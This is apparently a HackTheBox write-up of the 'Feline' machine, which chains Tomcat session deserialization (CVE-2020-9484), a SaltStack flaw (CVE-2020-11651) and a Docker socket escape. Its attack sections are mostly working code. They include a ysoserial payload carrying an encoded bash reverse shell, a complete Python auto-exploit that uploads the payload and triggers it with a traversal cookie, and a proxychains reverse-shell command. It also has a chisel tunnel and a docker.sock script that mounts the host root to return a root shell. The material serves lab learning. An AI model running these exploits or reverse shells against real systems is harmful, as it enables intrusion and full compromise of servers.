Home HackTheBox - Feline
Post
Cancel

HackTheBox - Feline

Feline is a Tomcat box. Which you need to understand how deserealization works to get it. The first shell was not soo hard, you just need one exploit to make it working. The privilege escalation part was a little bit trickly because of the container part.

The auto exploit for tomcat user is on the body of the post.

Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(/services)
    B --> |Upload File| C[Serialized Payload]
    C --> |Execution| D(RCE)
    C --> |CVE-2020-9484| D
    C --> |Command Injection| D
    D --> |Python Script| E[Automated Reverse Shell]
    E --> |CVE-2020-11651| F[Container Root]
    F --> |Scaping Container| G[Root Box]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.205

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 8080

We try to open it on the browser

Seems to be a malware analysis website?!

Everything seems to be no game. The only which works is the services tag

And seems that we can upload a file. It’s very interesting

Upload Analysis

We try to upload a file and get the request on burpsuite

Send to repeater to better work in it

We try to send the request to upload.jsp and it seems to be a invalid filename

We make it right and get the correct message from the server

Ok, file upload success, but we still have nothing. Let’s try to play arround and get an error or log message. To see if we get some more information about the server.

When we play with the filename. If we remove it we trigger an error message

We got the upload directory /opt/samples/uploads. The problems is that this directory is not being served by the website, so we cannot execute it on the browser.

Apache Tomcat 9.0.27

So, we start looking fom vulnerabilities for the version of apache we got on the box

We found this github which show some kind of vulnerability including the CVE-2020-9484

Description

1
2
3
4
5
The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insecure input validation when processing serialized data in uploaded files names. A remote attacker can pass specially crafted file name to the application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system but requires that the server is configured to use PersistenceManager with a FileStore and the attacker knows relative file path from storage location.

Exactly what we have on the box. So let’s try to exploit it

CVE-2020-9484

This vulnerabiliy is in Apache.

  • The server must be configured to use the PersistenceManager
  • There must be an upload functionality where the attacker can control the uploaded file name.
  • The attacker must know the path of the upload storage location.

We do not know at this point if the server is configured to use the PersistenceManager. However, we do know that all of the other conditions are true.

We donwload the exploit from the github page before and tried to use it, we see how it works, and use a serialized payload and some kind of path transversal. So let’s reproduce it.

So, we create a payload with ysoserial

1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 'ping -c 1 10.10.14.20' | base64 -w0 | xclip -selection clipboard

Upload it to the server

Unconvert from base64

If we try to copy the content of the payload, it’s not going to work properly, so this whay is better!

Uploaded

And then we trigger the payload

Got RCE

So, let’s try to get a reverse shell

We create our payload

1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDMgMD4mMQo=}|{base64,-d}|{bash,-i}' > /home/kali/Downloads/rce.session

Upload and execute it

Sure! Let’s automate the whole things now!

Tomcat Auto Shell

We will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

tomcat_auto.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Tomcat Shell - Feline HackTheBox

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import base64
import os

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
#B64 things
def b64e(s):
    return base64.b64encode(s.encode()).decode()

# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Download yososerial if it's not alreadt on the working folder    
def downloadPayGen():
    print("[+] Let's test to see if we already have yososerial on the working folder ! [+]")
    output_jar = "ysoserial-master-SNAPSHOT.jar"
    if not os.path.isfile(output_jar):
        print("[+] I did no locate it, let's dowload ! WAAAAAAAIT SOME MINUTES TO COMPLETE IT ! [+]")
        os.system("wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar")
    else:
        print("[+] We already have it, let's exploit !!! [+]")
  
# Create the malicious serialized reverse shell payload
def createBin(lhost,lport):
    print("[+] Let's make our payload !!! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    reverse = b64e(reverse)
    cmd = "bash -c {echo,%s}|{base64,-d}|{bash,-i}" %(reverse)
    os.system("java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 '%s' > payload.session" %cmd)
    print("[+] Payload Createeeeed !!! [+]")
    
# Upload Malicious session
def maliciousUpload(rhost):
    print("[+] Let's upload our payload !!! [+]")
    url = "http://%s:8080/upload.jsp?email=0x4rt3mis@email.com" %rhost
    data = b''
    multipart_data = {
        'image': ('payload.session', open('payload.session', 'rb'), "application/octet-stream"),
    }
    upload = r.post(url, files=multipart_data, proxies=proxies)
    print("[+] Uploadeddeded !!! [+]")
    
# Get the reverse
def triggerPayload(rhost):
    print("[+] Let's trigger the reverse shell [+]")
    url = "http://%s:8080/service/" %rhost
    cookies = {"JSESSIONID": "../../../../../../../../../opt/samples/uploads/payload"}
    requests.get(url, cookies=cookies, proxies=proxies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-ip', '--lhost', help='Local ip address or hostname', required=True)
    parser.add_argument('-p', '--lport', help='Local Port', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.lhost
    lport = args.lport

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Download the yosoerial
    downloadPayGen()
    # Create the malicious session file
    createBin(lhost,lport)
    #Upload Malicious session
    maliciousUpload(rhost)
    # Get the reverse
    triggerPayload(rhost)

if __name__ == '__main__':
    main()

Ok, let’s continue our exploration on this box

Bypass Container

We see that we are on a container on this box, because it has the interface docker0

We see some ports running locally on 4505 and 4506, they are associated to a service called SaltStack

CVE-2020-11651

After googling about it, we found the vulnerability on saltstak which leads to unathenticated privileve escalation, and we got this PoC

For this works we must use chisel to make a proxy between our kali and the feline docker box

We transfer it to the Feline box

Starter the server in my kali

1
./chisel server -p 8000 --reverse

So, the client and the server receive the connection back

1
./chisel client 10.10.14.20:8000 R:socks

I change my proxychains.conf file

We run the script we found and it’s vulnerable

Now, just get a reverse shell

1
proxychains python3 exploit.py --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.20/555 0>&1"'

We read the todo.txt

Escaping The Container

After some hard enum we found two posts 1 and 2.

We see some good information about escaping container docker in the .bash_history

And start looking for some vulns to escape it. We found some writeups with good explanations also.

This one is simpler, which explains the vulnerability in docker. I found this writeup very useful. And as I’m focused in python script to get the initial acess I’ll not lost my time explaining the vuln here.

exploit.sh

1
2
3
4
5
6
7
8
#!/bin/bash
pay="bash -c 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1'" 
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$pay\\\"\"]"
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"sandbox\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)  
revShellContainerID=$(echo "$response" | cut -d'"' -f4)     
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start                               
sleep 1
curl --output - -s --unix-socket /var/run/docker.sock "http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1"

Download it to the box

We execute it and become root

Source Code Analysis

After making our ssh key on the box, we download all the source code in /opt

1
rsync -azP root@10.10.10.205:/opt/* .

We see the upload.jsp file, and how the files are being uploaded to the server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<%@ page import="java.util.*" %>
<%@ page import="java.util.regex.*" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.io.File" %>
<%@ page import="org.apache.commons.fileupload.servlet.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*"%>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload"%>
<%@ page import="org.apache.commons.fileupload.disk.DiskFileItemFactory"%>
<%@ page import="org.apache.commons.fileupload.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%

  session.setAttribute("name", request.getParameter("email"));
  String filePath = "";
  boolean isMultipart = ServletFileUpload.isMultipartContent(request);
  
  if(!isMultipart) {
  	out.println("Invalid request");
  	return;
  }

  filePath = "/opt/samples/uploads/";

  FileItemFactory factory = new DiskFileItemFactory();
  ServletFileUpload upload = new ServletFileUpload(factory);

  List items = null;

  try
  {
          items = upload.parseRequest(request);
  } 
  catch (FileUploadException e) 
  {
          out.println("<div id=\"error\">");
          e.printStackTrace(new java.io.PrintWriter(out));
          out.println("</div>");
	  return;
  }

  Iterator itr = items.iterator();

  while (itr.hasNext())
  {
  	FileItem item = (FileItem)(itr.next());

          if (item.isFormField()) 
          {
                  try {
  			String field=item.getFieldName();
  			String value=item.getString();
                  }

                  catch(Exception e) {
                      out.println("<div id=\"error\">");
                      e.printStackTrace(new java.io.PrintWriter(out));
                      out.println("</div>");
	      	      return;
                  }
          } 

          else {
                  try {
  			String itemName = item.getName();
			String pattern = "[a-zA-Z0-9\\.]*";
			if(!itemName.matches(pattern)) {
			  out.println("Invalid filename!");
			  return;
			}
  			File savedFile = new File(filePath + itemName);
  			item.write(savedFile);  
                  } 
                  catch (Exception e) 
                  {
                      out.println("<div id=\"error\">");
                      e.printStackTrace(new java.io.PrintWriter(out));
                      out.println("</div>");
	      	      return;
                  }
          }
  }

  out.println("File uploaded successfully!\n");

%>

I did not find the place where it’s being deserealized.

We also see the crontab which clean the uploads folder

This post is licensed under CC BY 4.0 by the author.